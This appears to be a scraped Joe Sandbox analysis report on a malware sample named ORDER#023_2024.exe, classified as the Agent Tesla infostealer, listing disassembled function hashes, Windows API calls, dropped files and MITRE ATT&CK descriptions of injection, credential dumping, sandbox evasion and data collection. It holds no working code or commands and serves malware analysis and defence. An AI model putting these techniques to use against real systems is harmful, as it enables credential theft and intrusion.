API String ID: 2063062207-0
Opcode ID: d5f7b43685ff2a1091d9e97a514c24dde15544bf6dfaeb2ab288ff4b08693715
Instruction ID: c6218ed54194aca57f3354b1cccbc2538e8a6daee8735389cc437a309ba82981
Opcode Fuzzy Hash: d5f7b43685ff2a1091d9e97a514c24dde15544bf6dfaeb2ab288ff4b08693715
Instruction Fuzzy Hash: 125176B49003498FDB44DFAAD548B9EBFF5EF48314F20846EE019A73A0DB355884CB66

Function 014CBC98 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 014CBD16
GetCurrentThread.KERNEL32 ref: 014CBD53
GetCurrentProcess.KERNEL32 ref: 014CBD90
GetCurrentThreadId.KERNEL32 ref: 014CBDE9

Memory Dump Source

Source File: 00000005.00000002.2904709160.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_14c0000_ORDER#023_2024.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: d24b888ebfc74180bdeffe9e601fcab9bbcead977ad743175ce22414a45d35c6
Instruction ID: 780c776578acdc384bfc542aee8a8fc59e1ac8617f459d5458478b3a00dd98d4
Opcode Fuzzy Hash: d24b888ebfc74180bdeffe9e601fcab9bbcead977ad743175ce22414a45d35c6
Instruction Fuzzy Hash: A05156B49002498FDB54CFAAD548B9EBFF5EF48314F20846DE009A7360DB35A984CF66

Function 06843DA0 Relevance: 1.6, APIs: 1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2908556333.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6840000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a55cd402163ec8b605c7afcb6a3ef590573a95f7b9710a47fed6ac7ce80a12f2
Instruction ID: 7e56a80a44e091f0235c3637b01841382ffe45f9e7657063e0b2bfc6054097fe
Opcode Fuzzy Hash: a55cd402163ec8b605c7afcb6a3ef590573a95f7b9710a47fed6ac7ce80a12f2
Instruction Fuzzy Hash: 36413631D047998FC715DF6AD81039EBFF0AF89310F14856ED494D7281E7789841CB91

Function 067F05BC Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 067F2231

Memory Dump Source

Source File: 00000005.00000002.2908313317.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_67f0000_ORDER#023_2024.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: b02a67db7740ff99bc03e4eb8934ac049403cf9364f3387a00d82c6facc59413
Instruction ID: 00c574ae92bdfefd74f8a8af21eab84d8da26916649fa8ba6e117252acdb674b
Opcode Fuzzy Hash: b02a67db7740ff99bc03e4eb8934ac049403cf9364f3387a00d82c6facc59413
Instruction Fuzzy Hash: 62415AB4910309CFCB54CF99C848EAABBF5FB88314F25C459D629AB321C335A945CFA0

Function 014CBFC0 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014CC04F

Memory Dump Source

Source File: 00000005.00000002.2904709160.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_14c0000_ORDER#023_2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 8b26dfaecfcd67645775cf8dc6d5c06ca173fa445a3a338dd5ecdf79e974a164
Instruction ID: da4224b86915ca614908ea28203eed73e1e71b40197557babd0623cbc48b80a2
Opcode Fuzzy Hash: 8b26dfaecfcd67645775cf8dc6d5c06ca173fa445a3a338dd5ecdf79e974a164
Instruction Fuzzy Hash: 5321E3B59002089FDB10CF9AD584ADEFFF5FB48310F14801AE958A7310D379A944CFA4

Function 014CBFC8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 014CC04F

Memory Dump Source

Source File: 00000005.00000002.2904709160.00000000014C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 014C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_14c0000_ORDER#023_2024.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 98ca7e276ee4dcb055b1a8a202fd885ac9167840f103fa4d04df4af406008af7
Instruction ID: 0d93e7fa8bc2ea21f9ce6c0f123c6170ababf304e114ba5d3fc115ddbbe3fa80
Opcode Fuzzy Hash: 98ca7e276ee4dcb055b1a8a202fd885ac9167840f103fa4d04df4af406008af7
Instruction Fuzzy Hash: D921E4B59002089FDB10CF9AD584ADEBFF4EB48310F14801AE918A3310D379A940CFA4

Function 06843E88 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNELBASE ref: 06843EEF

Memory Dump Source

Source File: 00000005.00000002.2908556333.0000000006840000.00000040.00000800.00020000.00000000.sdmp, Offset: 06840000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6840000_ORDER#023_2024.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 610ff2bd92efb06f24c58356ae8fe35696f55b06828a6f3fad26c81b9fff056b
Instruction ID: cb5661fd0d75b5208a12df8cb0f608a762eb5911494f6d5bde3b5e304ef17a79
Opcode Fuzzy Hash: 610ff2bd92efb06f24c58356ae8fe35696f55b06828a6f3fad26c81b9fff056b
Instruction Fuzzy Hash: 5011F0B1C006699BCB10DF9AC544BDEFBF4EF48324F15816AE918A7250D378A944CFA5

Function 067F546B Relevance: 1.5, APIs: 1, Instructions: 47comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067F54C5

Memory Dump Source

Source File: 00000005.00000002.2908313317.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_67f0000_ORDER#023_2024.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: f38b065604971770e52d9ff632892888dec8808f710877d4617c72698564c3f2
Instruction ID: 5045f920f3e4a59f21330ba310ec71490494501e5f965f14df190d6d75ab31bf
Opcode Fuzzy Hash: f38b065604971770e52d9ff632892888dec8808f710877d4617c72698564c3f2
Instruction Fuzzy Hash: B41115B58003488FDB20DF9AD848BDEBFF8EB48324F208419D558A7710C379A544CFA5

Function 067F4358 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 067F54C5

Memory Dump Source

Source File: 00000005.00000002.2908313317.00000000067F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 067F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_67f0000_ORDER#023_2024.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 6da859ba4821e83a74336b58846b951de0c396f372e76c30e36bc1e931065840
Instruction ID: f1faaf92c40a43232596140ce5ddfaaf4e227c6061f9f6fe02a4ef1b10a76ddf
Opcode Fuzzy Hash: 6da859ba4821e83a74336b58846b951de0c396f372e76c30e36bc1e931065840
Instruction Fuzzy Hash: E51142B08003488FDB20DFAAD448BEEBFF4EB48324F208419D618A7710C378A944CFA5

Function 0147D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2904504962.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_147d000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aacb61806b1f1a46ad4312b4198dec8e521bf6c7ce9860aca8f36eb4a3573d49
Instruction ID: 305fad05e8d2f510605d004ce62b7cc197801c666c653d48cb3e873a3b3983c0
Opcode Fuzzy Hash: aacb61806b1f1a46ad4312b4198dec8e521bf6c7ce9860aca8f36eb4a3573d49
Instruction Fuzzy Hash: 852125B1904280DFCB16DF58D984B56BFA5EF84318F20C56ED90A4B366C336D447CA61

Function 0147D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2904504962.000000000147D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0147D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_147d000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b96c3d8d28fe2b6f5c3fafba7cec694e4447a0cab58f64c060e179e99aec9a10
Instruction ID: 5bdf06acd6d7ee79e886642930ae8d0e3cd07070ecdd6f493181d98ef05e3b62
Opcode Fuzzy Hash: b96c3d8d28fe2b6f5c3fafba7cec694e4447a0cab58f64c060e179e99aec9a10
Instruction Fuzzy Hash: C3216D755093C08FDB03CF24D994756BF71EF46218F28C5DAD8498B6A7C33A980ACB62

Function 0146D628 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2904456411.000000000146D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0146D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_146d000_ORDER#023_2024.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3743913100df404586cb5764e17740b1df7926d9fa332f23c6d8cd2d4b999fb4
Instruction ID: 0e5201b8e74f31f521f224bedd376cecef0ebb8db122db8ed86dabed1e17cf14
Opcode Fuzzy Hash: 3743913100df404586cb5764e17740b1df7926d9fa332f23c6d8cd2d4b999fb4
Instruction Fuzzy Hash: 11F062715083449EEB118A1AD8C4B63FFACEF41628F18C45BED4C4E296C2799844CAB2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER#023_2024.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ORDER#023_2024.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4mbqvnce.ao0.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bcdeezer.3t4.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ma5vwock.gkh.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qu2utjsw.0pj.psm1

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
ORDER#023_2024.exe

Function 06F548D8 Relevance: 1.6, Strings: 1, Instructions: 368
COMMON

Function 02A3B0D0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 198
COMMON

Function 06F56B4C Relevance: 1.7, APIs: 1, Instructions: 249
processCOMMON

Function 06F56B58 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Function 02A344B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Function 02A358ED Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Function 06F564C8 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Function 06F564D0 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Function 02A3CC40 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Function 02A3D599 Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Function 06F55EFA Relevance: 1.6, APIs: 1, Instructions: 64
threadCOMMON

Function 06F565BB Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre